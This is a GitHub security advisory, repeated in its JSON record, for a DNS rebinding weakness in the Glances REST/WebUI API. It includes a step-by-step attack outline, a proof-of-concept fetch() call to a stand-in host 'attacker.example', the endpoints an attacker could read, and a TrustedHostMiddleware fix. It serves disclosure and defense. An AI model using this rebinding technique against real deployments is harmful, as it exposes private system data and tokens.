GHSA-HHCG-R27J-FHV9
Vulnerability from github – Published: 2026-03-16 16:34 – Updated: 2026-03-18 21:48Summary
Glances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary Host headers and does not apply TrustedHostMiddleware or an equivalent host allowlist.
As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin.
This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target.
Details
The MCP endpoint now has explicit host-based transport security:
# glances/outputs/glances_mcp.py
self.mcp_allowed_hosts = ["localhost", "127.0.0.1"]
...
return TransportSecuritySettings(
allowed_hosts=allowed_hosts,
allowed_origins=allowed_origins,
)
However, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware:
# glances/outputs/glances_restful_api.py
self._app = FastAPI(default_response_class=GlancesJSONResponse)
...
self._app.add_middleware(
CORSMiddleware,
allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]),
allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),
allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]),
allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)
...
if self.args.password and self._jwt_handler is not None:
self._app.include_router(self._token_router())
self._app.include_router(self._router())
There is no TrustedHostMiddleware, no comparison against the configured bind host, and no allowlist enforcement for HTTP Host values on the REST/WebUI surface.
The default bind configuration also exposes the service on all interfaces:
# glances/main.py
parser.add_argument(
'-B',
'--bind',
default='0.0.0.0',
dest='bind_address',
help='bind server to the given IPv4/IPv6 address or hostname',
)
This combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener.
The token endpoint is also mounted on the same unprotected FastAPI app:
# glances/outputs/glances_restful_api.py
def _token_router(self) -> APIRouter:
...
router.add_api_route(f'{base_path}/token', self._api_token, methods=['POST'], dependencies=[])
Why This Is Exploitable
In a DNS rebinding attack:
- The attacker serves JavaScript from
https://attacker.example. - The victim visits that page while a Glances instance is reachable on the victim network.
- The attacker's DNS for
attacker.exampleis rebound from the attacker's server to the Glances IP address. - The victim browser now sends same-origin requests to
https://attacker.example, but those requests are delivered to Glances. - Because the Glances REST/WebUI app does not validate the
Hostheader or enforce an allowed-host policy, it serves the response. - The attacker-controlled JavaScript can read the response as same-origin content.
The MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not.
Proof of Concept
This issue is code-validated by inspection of the current implementation:
- REST/WebUI/token are all mounted on a plain
FastAPI(...)app - no
TrustedHostMiddlewareor equivalent host validation is applied - default bind is
0.0.0.0 - MCP has separate rebinding protection, showing the project already recognizes the threat model
In a live deployment, the expected verification is:
# Victim-accessible Glances service
glances -w
# Attacker-controlled rebinding domain first resolves to attacker infra,
# then rebinds to the victim-local Glances IP.
# After rebind, attacker JS can fetch:
fetch("http://attacker.example:61208/api/4/status")
.then(r => r.text())
.then(console.log)
And if the operator exposes Glances without --password (supported and common), the attacker can read endpoints such as:
GET /api/4/status
GET /api/4/all
GET /api/4/config
GET /api/4/args
GET /api/4/serverslist
Even on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues.
Impact
- Remote read of local/internal REST data: DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context.
- Bypass of origin-based browser isolation: Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin.
- High-value chaining surface: This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints.
- Token surface exposure: The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path.
Recommended Fix
Apply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening:
from starlette.middleware.trustedhost import TrustedHostMiddleware
allowed_hosts = config.get_list_value(
'outputs',
'allowed_hosts',
default=['localhost', '127.0.0.1'],
)
self._app.add_middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts)
At minimum:
- reject requests whose
Hostheader does not match an explicit allowlist - do not rely on
0.0.0.0bind semantics as an access-control boundary - document that reverse-proxy deployments must set a strict host allowlist
References
glances/outputs/glances_mcp.pyglances/outputs/glances_restful_api.pyglances/main.py
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32632"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T16:34:23Z",
"nvd_published_at": "2026-03-18T18:16:28Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nGlances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist.\n\nAs a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin.\n\nThis is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target.\n\n## Details\n\nThe MCP endpoint now has explicit host-based transport security:\n\n```python\n# glances/outputs/glances_mcp.py\nself.mcp_allowed_hosts = [\"localhost\", \"127.0.0.1\"]\n...\nreturn TransportSecuritySettings(\n allowed_hosts=allowed_hosts,\n allowed_origins=allowed_origins,\n)\n```\n\nHowever, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware:\n\n```python\n# glances/outputs/glances_restful_api.py\nself._app = FastAPI(default_response_class=GlancesJSONResponse)\n...\nself._app.add_middleware(\n CORSMiddleware,\n allow_origins=config.get_list_value(\u0027outputs\u0027, \u0027cors_origins\u0027, default=[\"*\"]),\n allow_credentials=config.get_bool_value(\u0027outputs\u0027, \u0027cors_credentials\u0027, default=True),\n allow_methods=config.get_list_value(\u0027outputs\u0027, \u0027cors_methods\u0027, default=[\"*\"]),\n allow_headers=config.get_list_value(\u0027outputs\u0027, \u0027cors_headers\u0027, default=[\"*\"]),\n)\n...\nif self.args.password and self._jwt_handler is not None:\n self._app.include_router(self._token_router())\nself._app.include_router(self._router())\n```\n\nThere is no `TrustedHostMiddleware`, no comparison against the configured bind host, and no allowlist enforcement for HTTP `Host` values on the REST/WebUI surface.\n\nThe default bind configuration also exposes the service on all interfaces:\n\n```python\n# glances/main.py\nparser.add_argument(\n \u0027-B\u0027,\n \u0027--bind\u0027,\n default=\u00270.0.0.0\u0027,\n dest=\u0027bind_address\u0027,\n help=\u0027bind server to the given IPv4/IPv6 address or hostname\u0027,\n)\n```\n\nThis combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener.\n\nThe token endpoint is also mounted on the same unprotected FastAPI app:\n\n```python\n# glances/outputs/glances_restful_api.py\ndef _token_router(self) -\u003e APIRouter:\n ...\n router.add_api_route(f\u0027{base_path}/token\u0027, self._api_token, methods=[\u0027POST\u0027], dependencies=[])\n```\n\n## Why This Is Exploitable\n\nIn a DNS rebinding attack:\n\n1. The attacker serves JavaScript from `https://attacker.example`.\n2. The victim visits that page while a Glances instance is reachable on the victim network.\n3. The attacker\u0027s DNS for `attacker.example` is rebound from the attacker\u0027s server to the Glances IP address.\n4. The victim browser now sends same-origin requests to `https://attacker.example`, but those requests are delivered to Glances.\n5. Because the Glances REST/WebUI app does not validate the `Host` header or enforce an allowed-host policy, it serves the response.\n6. The attacker-controlled JavaScript can read the response as same-origin content.\n\nThe MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not.\n\n## Proof of Concept\n\nThis issue is code-validated by inspection of the current implementation:\n\n- REST/WebUI/token are all mounted on a plain `FastAPI(...)` app\n- no `TrustedHostMiddleware` or equivalent host validation is applied\n- default bind is `0.0.0.0`\n- MCP has separate rebinding protection, showing the project already recognizes the threat model\n\nIn a live deployment, the expected verification is:\n\n```bash\n# Victim-accessible Glances service\nglances -w\n\n# Attacker-controlled rebinding domain first resolves to attacker infra,\n# then rebinds to the victim-local Glances IP.\n# After rebind, attacker JS can fetch:\nfetch(\"http://attacker.example:61208/api/4/status\")\n .then(r =\u003e r.text())\n .then(console.log)\n```\n\nAnd if the operator exposes Glances without `--password` (supported and common), the attacker can read endpoints such as:\n\n```bash\nGET /api/4/status\nGET /api/4/all\nGET /api/4/config\nGET /api/4/args\nGET /api/4/serverslist\n```\n\nEven on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues.\n\n## Impact\n\n- **Remote read of local/internal REST data:** DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context.\n- **Bypass of origin-based browser isolation:** Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin.\n- **High-value chaining surface:** This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints.\n- **Token surface exposure:** The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path.\n\n## Recommended Fix\n\nApply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening:\n\n```python\nfrom starlette.middleware.trustedhost import TrustedHostMiddleware\n\nallowed_hosts = config.get_list_value(\n \u0027outputs\u0027,\n \u0027allowed_hosts\u0027,\n default=[\u0027localhost\u0027, \u0027127.0.0.1\u0027],\n)\n\nself._app.add_middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts)\n```\n\nAt minimum:\n\n- reject requests whose `Host` header does not match an explicit allowlist\n- do not rely on `0.0.0.0` bind semantics as an access-control boundary\n- document that reverse-proxy deployments must set a strict host allowlist\n\n## References\n\n- `glances/outputs/glances_mcp.py`\n- `glances/outputs/glances_restful_api.py`\n- `glances/main.py`",
"id": "GHSA-hhcg-r27j-fhv9",
"modified": "2026-03-18T21:48:39Z",
"published": "2026-03-16T16:34:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-hhcg-r27j-fhv9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32632"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/commit/5850c564ee10804fdf884823b9c210eb954dd1f9"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Glances\u0027s REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.